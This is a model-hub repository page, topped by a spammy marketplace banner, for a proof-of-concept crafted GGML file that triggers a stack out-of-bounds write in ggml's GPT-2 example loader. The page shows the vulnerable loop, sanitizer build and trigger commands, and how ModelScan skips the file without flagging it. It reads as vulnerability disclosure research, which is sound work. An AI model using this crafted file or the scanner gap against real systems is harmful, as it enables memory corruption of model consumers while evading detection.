You can deploy this model and start earning money today!

pragnyanramtha/
ggml-gpt2-ndims-oob-poc

Name: ggml-gpt2-ndims-oob-poc
Availability: InStock

Views

No views yet

Benign GGML GPT-2 Loader PoC

This repository contains a benign, minimal legacy GGML .bin artifact that demonstrates a stack out-of-bounds write in the current ggml GPT-2 example loader.

Files

malicious.ggml.bin: 62-byte crafted GGML GPT-2 artifact.
verify_poc.py: local verifier for an ASAN/UBSAN build of gpt-2-backend.
asan_output.txt: captured sanitizer output.
modelscan_output.json: ModelScan 0.7.6 output.
generate_poc.py: generator used during local research.

Affected Target

Repository: ggml-org/ggml
Commit tested: a056a26f508b6160438ddd8aabbc859d2a2e7a97
Commit date: 2026-05-10
Current release checked from GitHub tags: v0.11.1
Release tag date: 2026-05-10
Release commit checked: 628249b398293fc8d2fa81a449ae2920a02c6523
Loader: examples/gpt-2/main-backend.cpp, gpt2_model_load()

The current README documents GPT-2 inference with:

./bin/gpt-2-backend -m models/gpt-2-117M/ggml-model.bin -p "This is an example"

Impact

The artifact sets the tensor metadata field n_dims = 3. The loader stores dimensions in a fixed stack array:

cpp

int32_t ne[2] = { 1, 1 };
for (int i = 0; i < n_dims; ++i) {
    fin.read(reinterpret_cast<char *>(&ne[i]), sizeof(ne[i]));
}

Because n_dims is model-controlled and not bounded to the local array size, loading this file writes past ne[2]. In an ASAN build this produces AddressSanitizer: stack-buffer-overflow during model load.

This is a native parser memory-safety issue in a legacy GGML model artifact consumer. The PoC is not ACE; it demonstrates controlled local memory corruption/crash only.

The same unbounded n_dims loop is present in the v0.11.1 release tag at examples/gpt-2/main-backend.cpp.

Reproduction

bash

# Download this PoC repository first.
hf download pragnyanramtha/ggml-gpt2-ndims-oob-poc \
  --repo-type model \
  --local-dir ggml-gpt2-ndims-oob-poc

# Build the affected ggml GPT-2 example loader with sanitizers.
git clone https://github.com/ggml-org/ggml.git
cd ggml
git checkout v0.11.1
cmake -S . -B build-asan \
  -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer" \
  -DCMAKE_CXX_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer" \
  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined" \
  -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address,undefined" \
  -DGGML_BUILD_EXAMPLES=ON
cmake --build build-asan --target gpt-2-backend -j2

# Run the PoC verifier from the downloaded HF repo.
cd ../ggml-gpt2-ndims-oob-poc
python3 verify_poc.py --binary ../ggml/build-asan/bin/gpt-2-backend

Expected result: non-zero exit and an ASAN stack-buffer-overflow report at examples/gpt-2/main-backend.cpp in gpt2_model_load().

The direct runtime trigger is:

../ggml/build-asan/bin/gpt-2-backend -m malicious.ggml.bin -p marker

Scanner Behavior

ModelScan 0.7.6 was run against malicious.ggml.bin. It routes .bin to the PyTorch scanner, skips the file due to PyTorch magic mismatch, and reports zero issues:

text

modelscan_version: 0.7.6
total_issues: 0
skipped: MAGIC_NUMBER / Invalid magic number

This is a scanner/runtime mismatch: the GGML runtime consumer reaches the vulnerable parser path while the generic .bin scanner produces no finding for the GGML artifact.

Scanner reproduction:

/path/to/modelscan -p malicious.ggml.bin -r json -o modelscan_output.json --show-skipped

Artifact Hash

text

SHA256(malicious.ggml.bin)=62892adf21342a70b3c6dee5adfa224a435f747a5e6eb7c84e5064f576e99b0c
Size=62 bytes

Limitations

Demonstrated as stack out-of-bounds write/crash, not code execution.
Reproduced in the documented ggml GPT-2 example loader, not in llama.cpp GGUF loading.
A similar n_dims issue is already public for whisper.cpp; this PoC targets ggml-org/ggml's GPT-2 legacy GGML loader.